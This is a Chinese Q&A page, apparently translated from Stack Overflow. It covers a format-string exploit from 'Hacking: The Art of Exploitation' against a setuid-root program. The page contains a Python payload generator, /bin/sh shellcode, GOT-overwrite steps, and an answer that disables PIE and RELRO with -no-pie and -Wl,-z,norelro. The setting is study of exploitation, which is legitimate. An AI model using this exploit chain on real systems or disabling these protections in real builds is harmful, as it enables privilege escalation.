c - 如何禁用 relro 以覆盖 fini_array 或 got.plt 元素
问题描述
我正在阅读这本书 Hacking: The art of exploit ,并且有一个格式字符串漏洞利用示例,它试图用 shellcode 环境变量的地址覆盖 dtors 的地址。我在 Kali Linux 64 位上工作,并且已经发现没有 dtors(ac 程序的析构函数),所以现在我尝试覆盖 fini_array 或“.got.plt”中的退出地址(我认为这也会使用部分 relro。所以无法写入 got.plt 是我寻求帮助的最大问题)。
我已经验证了漏洞利用将正确的地址写入给定的地址,但是当我使用 fini_array 或 got.plt 的地址运行它时,我得到一个 SIGSEV 或“非法指令”错误。阅读完这篇文章后,我认为问题在于部分relro不会让我覆盖 fini_array,因为它使 fini_array 成为只读的。这是我用来利用 vuln 程序的 python 程序:
import struct
import sys
num = 0
num1 = 0
num2 = 0
num3 = 0
test_val = 0
if len(sys.argv) > 1:
num = int(sys.argv[1], 0)
if len(sys.argv) > 2:
test_val = int(sys.argv[2], 0)
if len(sys.argv) > 3:
num1 = int(sys.argv[3], 0)# - num
if len(sys.argv) > 4:
num2 = int(sys.argv[4], 0)# - num1 - num
if len(sys.argv) > 5:
num3 = int(sys.argv[5], 0)# - num2 - num1 - num
addr1 = test_val+2
addr2 = test_val+4
addr3 = test_val+6
vals = sorted(((num, test_val), (num1, addr1), (num2, addr2), (num3, addr3)))
def pad(s):
return s+"X"*(1024-len(s)-32)
exploit = ""
prev_val = 0
for val, addr in vals:
if not val:
continue
val_here = val - prev_val
prev_val = val
exploit += "%{}x".format(val_here)
if addr == test_val:
exploit += "%132$hn"
elif addr == addr1:
exploit += "%133$hn"
elif addr == addr2:
exploit += "%134$hn"
elif addr == addr3:
exploit += "%135$hn"
exploit = pad(exploit)
exploit += struct.pack("Q", test_val)
exploit += struct.pack("Q", addr1)
exploit += struct.pack("Q", addr2)
exploit += struct.pack("Q", addr3)
print pad(exploit)
当我传递shellcode环境变量的地址和fini_array的地址时
objdump -s -j .fini_array ./vuln
我只是得到一个 SegmentationFault。
当我尝试覆盖 .got.plt 部分中的地址时也会发生这种情况也很奇怪,这实际上不应该受到部分 relro 的影响,这意味着我应该能够写入它,但实际上我不能. 此外,“ld --verbose ./vuln”显示了这一点:
.dynamic : { *(.dynamic) }
.got : { *(.got) *(.igot) }
. = DATA_SEGMENT_RELRO_END (SIZEOF (.got.plt) >= 24 ? 24 : 0, .);
.got.plt : { *(.got.plt) *(.igot.plt) }
这证明 .got.plt 不应该是只读的,但为什么我不能写它呢?
现在我的问题是我可以使用哪种解决方法(可能是一些 gcc 选项)来解决我的问题。即使无法实际覆盖 .fini_array 为什么我会遇到与 .got.plt 相同的问题,我该如何解决?我认为 .got.plt 部分的问题可能来自我无法执行 shellcode,因为它是缓冲区的一部分。那么是否有任何 gcc 选项可以使缓冲区可执行?
这是vuln.c:
include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
fgets(text, sizeof(text), stdin);
printf("The right way to print user-controlled input:\n");
printf("%s\n", text);
printf("The wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
printf("[*] test_val @ %p = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
我用 gcc 9.2.1 编译 vuln.c,如下所示:
gcc -g -o vuln vuln.c
sudo chown root:root ./vuln
sudo chmod u+s ./vuln
这是外壳代码:
\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
我通过将上述十六进制复制到 input.txt 中,将其作为二进制文件导出到 SHELLCODE 变量中。然后运行:
xxd -r -p input.txt output.bin
现在导出它:
export SHELLCODE=$(cat output.bin)
脚本getenv.c用于获取Shellcode的地址:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[]) {
char *ptr;
if (argc < 3) {
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
要使用它运行:
./getenvaddr SHELLCODE ./vuln
这会告诉您执行 vuln 程序时 SHELLCODE 变量将具有哪个地址。最后我通过以下方式在全局偏移表中找到退出函数的地址:
objdump -R ./vuln
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000003de8 R_X86_64_RELATIVE *ABS*+0x0000000000001170
0000000000003df0 R_X86_64_RELATIVE *ABS*+0x0000000000001130
0000000000004048 R_X86_64_RELATIVE *ABS*+0x0000000000004048
0000000000003fd8 R_X86_64_GLOB_DAT _ITM_deregisterTMCloneTable
0000000000003fe0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000003fe8 R_X86_64_GLOB_DAT __gmon_start__
0000000000003ff0 R_X86_64_GLOB_DAT _ITM_registerTMCloneTable
0000000000003ff8 R_X86_64_GLOB_DAT __cxa_finalize@GLIBC_2.2.5
0000000000004060 R_X86_64_COPY stdin@@GLIBC_2.2.5
0000000000004018 R_X86_64_JUMP_SLOT putchar@GLIBC_2.2.5
0000000000004020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000004028 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000004030 R_X86_64_JUMP_SLOT fgets@GLIBC_2.2.5
0000000000004038 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5
这里的出口地址是 0x4038
现在我将 shellcode 的地址让我们说 0x7ffffffffe5e5 写入退出函数 0x4038 的地址,这样程序应该被重定向到 shell 而不是像这样退出:
python pyscript.py 0xe5e5 0x4038 0xffff 0x7fff | ./vuln
这是基本原则:
python pyscript.py first_to_bytes_of_shellcode exit_address second_to_bytes_of_shellcode third_to_bytes_of_shellcode optional_fourth_to_bytes_of_shellcode | ./vuln
解决方案
像这样的重定位和低地址:
0000000000003de8 R_X86_64_RELATIVE *ABS*+0x0000000000001170
建议可执行文件已构建为 PIE(与位置无关的可执行文件),具有完整的地址空间布局随机化 (ASLR)。这意味着地址与静态视图不匹配,objdump
并且每次运行都被禁用。
通常,使用gcc -no-pie
禁用 ASLR 进行构建。如果您使用gcc -no-pie -Wl,-z,norelro
,您也将禁用(部分)RELRO。
推荐阅读
- ios - 如何使用分组的表格视图进行过滤和搜索?
- kotlin - Kotlin 编写 helper/util 方法而不用类包装的好处
- c# - 使用Linq c#的连接中的正则表达式?
- vba - VBA,根据单元格值选择行
- angular - 在运行时切换 ag-grid GridOptions 属性
- ruby - 匹配两个字符之间有换行符的字符串
- javascript - JSON 操作 - javascript - 添加新键和移动数据
- c# - 获取表格边框折叠:折叠以与发送到 Gmail 的 StringBuilder 一起使用
- vue.js - AWS Cognito UI 在调用回调页面时使用哈希来包含参数
- javascript - AssertionError [ERR_ASSERTION]:无效的寄存器选项“值”必须是一个对象